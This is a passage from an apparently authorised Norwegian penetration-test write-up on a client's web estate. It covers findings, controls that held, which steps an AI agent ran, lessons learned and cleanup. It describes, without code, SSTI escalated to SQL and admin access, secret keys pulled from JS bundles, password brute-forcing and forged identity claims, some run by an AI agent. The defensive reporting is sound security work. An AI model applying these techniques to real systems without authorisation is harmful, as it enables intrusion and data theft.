L11X-Forwarded-Host reflektert inn i asset-URL-er — latent cache-poison→XSS, og selve injeksjonspunktet bak SSTI-enwww.nordlydas.noLukkes av SSTI-ens edge-hardening
L12plan-ark uautentisert global eksport-teller lesing+inkrement (vanity)planark.nordlydas.noAutorisér skrivingen
L13tellned uautentisert nedtellings-enumerering + uautentisert skriving uten slett-rute (permanent injeksjon; kanarirader ligger igjen)nedtelling.nordlydas.noAutorisér writes; legg til livssyklus-kontroll
L14Manglende sikkerhetshoder (HSTS/CSP/XFO/XCTO) + cookies uten SameSite; jQuery/htmx fra CDN uten SRI; /web.config + /humans.txt avsløringwww.nordlydas.noSett hoder; SameSite; SRI; blokker metadatafiler
L15connect.sid uten SameSite (flere SPA-er); Craft passord-reset brukerenum; Cloud Run-origin-avsløring via /_ah/warmupflereSameSite=Lax; generiske reset-svar; skjul origin

Det som holdt (ærlige negative funn)

En rapport som bare lister det som sprakk, gir kunden et skjevt bilde. Her er kontrollene som motsto direkte press, dokumentert fordi de er like mye en del av resultatet som den kritiske SSTI-en:

  • Craft CVE-2025-32432 (unauth object-injection RCE): patchet, fyrt 4×+ → 400 "Invalid transform handle", kryssjekket mot positiv kontroll. En annen bug enn funnet over — og den var reell lukket.
  • Moodle-tenant-isolasjon fra en student-rolle: kryss-tenant kurs-/bruker-tilgang nektet; /backup/restorefile.php → ingen restore-tillatelse (så restore-RCE-CVE-en var ikke nåbar fra den rollen). Selvregistrering var åpen, men ga bare student-capabilities.
  • Salgs-CRM-ens identitetslag (nOAuth): kronjuvelen jeg ikke fikk. Jeg testet den live med min egen Entra-leietaker og en forfalsket e-postclaim — ikke sårbar. CRM-et binder kontoer til Microsofts uforanderlige identitet (oid) og bruker en streng per-e-post-tillatelsesliste (verken domenetillit eller auto-provisjonering). Det var den best sikrede appen i estaten — verdt å si høyt når resten av innlegget river den fra hverandre. (Selve CRM-dataene lekket likevel, men via de hardkodede dashboard-nøklene over, ikke via identitetslaget.)
  • HR-appens server/DB: ingen LFI, SQLi (Drizzle parametriserer), SSRF, XXE eller RCE; ingen .env/hemmeligheter eksponert. Express-sesjonshemmeligheten (connect.sid-signaturen) motsto GPU-cracking (rockyou × 52k regler på HMAC-SHA256) → sterk tilfeldig verdi, ikke forfalskbar.
  • SSRF → skymetadata: ingen uautentisert server-side URL-henter finnes noe sted — skypivoten (GCP SA-token) var utenfor rekkevidde.
  • Request-smuggling / verb-tampering / parser-forvirring: autentiserings-perimeteren holder uniformt (per-rute-håndterer, ikke en global mount som kan omgås). Cache-poisoning: ingen delt cache å forgifte. Lagret XSS fra uautentiserte writes: React escaper sinken.
  • Estate-loot-sweep: ingen eksponerte sourcemaps, .git eller .env funnet i porteføljen. (Men se det kritiske funnet over: en offentlig app-bundle er ikke en sourcemap — hemmelighetene lå i selve den minifiserte koden. Loot-sweep som bare leter etter .map/.git/.env går glipp av det.)

Verdien i å skrive ned dette er den samme som i de negative PoC-ene mot AI-backenden: en agent i loopen genererer plausible funn fort, og plausible feil like fort. Det som skiller dem er verifiseringen — og den fortjener like mye plass i rapporten som treffet.

Verktøy og hvem kjørte hva

  • Fingerprint og CVE-triage (whatweb, HTTP-triage, GraphQL-introspeksjon, Craft-CVE-listen): agent, AI-kjørt.
  • SSTI-oppdagelse og header-sweep (komma-frie payloads via en HTTP-løkke rundt curl): AI-generert og AI-kjørt; jeg satte ratelimit/scope og valgte hvilke treff som fikk eskaleres.
  • CVE-2025-32432-baselinen (fyrt 4×, alle 400 "Invalid transform handle") og den positive kontrollen: agent-kjørt, jeg verifiserte verdikt.
  • Det reversible admin-steget: SQL-uttrykkene formet jeg med AI-hjelp, men save-restore-verify-loopen, go/no-go og alvorlighetsvurderingen var mine. Nettleser-innloggingen kjørte via Playwright, manuelt supervisert.
  • AI-backend-PoC-ene (pdf.js, mammoth, XXE, ImageMagick, zip-slip, prototype-pollution): agenten bygde ekte-trigger-filene; jeg vurderte resultatene og tok nedgraderingen.
  • Tripletex-kjeden: to AI-genererte, redeploy-proof PoC-skript (auto-oppdager bundle, ekstraherer nøkler by value, minter session, skriver «remediated» ved rotasjon). Jeg satte RoE-grensene (count-only, maskerte beløp) og kjørte finans-verifikasjonen kun på kundens uttrykkelige forespørsel.
  • Moodle rapport-lekkasjen: agenten mintet WS-tokenet og kalte core_reportbuilder_retrieve_report; jeg stoppet ved én maskert rad.
  • strategi-canaryen: to-konto-oppsettet (plant hemmelighet i A, re-foreldre til B, les i B) satte jeg opp manuelt — det er selve beviset for tyveriet.
  • nOAuth-testen mot CRM-identiteten (egen Entra-leietaker + forfalsket e-postclaim) kjørte jeg manuelt; den krevde eksplisitt tilleggsgodkjenning.
  • Mail-auth-sveipen (SPF/DMARC over 26 domener, dig + en OSINT-kryssjekk): AI-kjørt, verifisert 2×.

Hva jeg lærte

  • Den støyende CVE-en og det ekte hullet er sjelden det samme. CVE-2025-32432 var patchet; en fire år gammel SEOmatic-header-SSTI var vidåpen. En scanner som bare sjekker fjorårets overskrift-bug, går rett forbi den stille døra.
  • En forwarded-header er angriper-input. X-Forwarded-Host nådde en Twig-renderer. Behandle enhver proxy-header som utrusted på app-laget, ikke bare på edgen.
  • Én 200 (eller én reflektert 1337) er ikke funnet. Den benigne host-refleksjonen og 0-rads-UPDATE-en er de negative kontrollene som gjør «en header evalueres» om til «vilkårlig SQL og admin».
  • Burst-throttling er ikke lockout. HR-systemets tar-pit så beskyttende ut, men den straffet fart, ikke antall. En rolig online-brute gjettet fritt, og admin123 falt på forsøk 58. Et ekte lockout teller mislykkede forsøk per konto.
  • En nedgradering er et resultat. AI-backenden gikk fra «kanskje unauth RCE» til «BAC + denial-of-wallet» kun fordi de væpnede PoC-ene kom tilbake negative. Å dokumentere hvorfor er hele poenget.
  • Reversibilitet er en plan, ikke et håp. Lagre originalen, gjør den minst mulige endringen, restaurer, verifiser at tilbakelesningen er identisk, logg ut. Bestem det før du rører en levende konto.
  • En offentlig app-bundle er ikke en sourcemap. Nøkkelen runde 1 kalte «aldri fanget» lå i klartekst i den minifiserte JS-en. En loot-sweep som bare grep-er etter .map/.git/.env går glipp av hemmeligheter som ligger i koden. Ekstraher og les selve bundlen.
  • En write-side eierskapssjekk som glemmer forelderen, er en lese-primitiv. strategi sjekket at du eide objektet, men lot deg re-foreldre det til ditt eget arbeidsområde — og dermed lese det. Autorisér både kilde og destinasjon på hver write.
  • p=reject er ikke nok hvis SPF stoler på en IP du ikke eier. Flaggskipet var e-postsikret på papiret, men autoriserte en delt web-host — altså hver medleietaker på den. Autorisér virtuelle avsendere, ikke delte IP-er.
  • Selvbetjent registrering + én feilklassifisert rapport = massekatalog. En fersk Moodle-student ble til en katalogskraper fordi ett rapport-publikum var satt på systemnivå. Recon stopper ikke ved «jeg kom inn» — det fortsetter til «hva kan denne rollen faktisk nå».

Opprydding

Ingen persistens eller bakdører plantet noe sted. Kanari-objektene jeg lagde for å bevise writes bør kunden fjerne ved oppdragsslutt: nedtellings-radene på nedtelling.nordlydas.no (ingen slett-rute — krever DB-fjerning), en kanari-nyansatt og et par foreldreløse editor-bilder i HR-appen, en Moodle-testkonto med tilhørende mobiltoken, og noen kanari-kontoer på strategi. På min side: de ekstraherte Craft-nøklene og admin-hashen makuleres ved oppdragsslutt, nOAuth-samtykket i min egen Entra-leietaker tilbakekalles, og Tripletex-sessionen utløper av seg selv etter én dag. Den super-admin-passord-endringen fra SSTI-kjeden ble restaurert og verifisert tilbake til original samme minutt.

Veien videre

Kunden har allerede rukket å utbedre det meste: SSTI-en er robust lukket (ingen host-header-variant reflekteres lenger), AI-backenden er autentiseringssikret, og GraphQL-introspeksjonen er stengt. Det tyngste som gjenstår er hastesaken — rotere dashboard- og Tripletex-nøklene og få hemmelighetene ut av klientkoden — pluss infrastruktur-halen: e-postforfalskning på de 25 domenene, de hengende subdomenene og patch-etterslepet på Craft og Moodle.

I morgen kjører jeg en ny full ekstern test. Den verifiserer fiksene punkt for punkt — PoC-skriptene fra Tripletex-kjeden dobler som utbedrings-sjekk, siden de skriver «remediated» når nøklene er rotert — og leter samtidig etter ny angrepsflate som kan ha dukket opp. Den blir sitt eget innlegg, i samme form som den forrige fulle retesten av en MSP-portal: punkt for punkt, med bevis for hva som faktisk ble lukket og hva som fortsatt står åpent.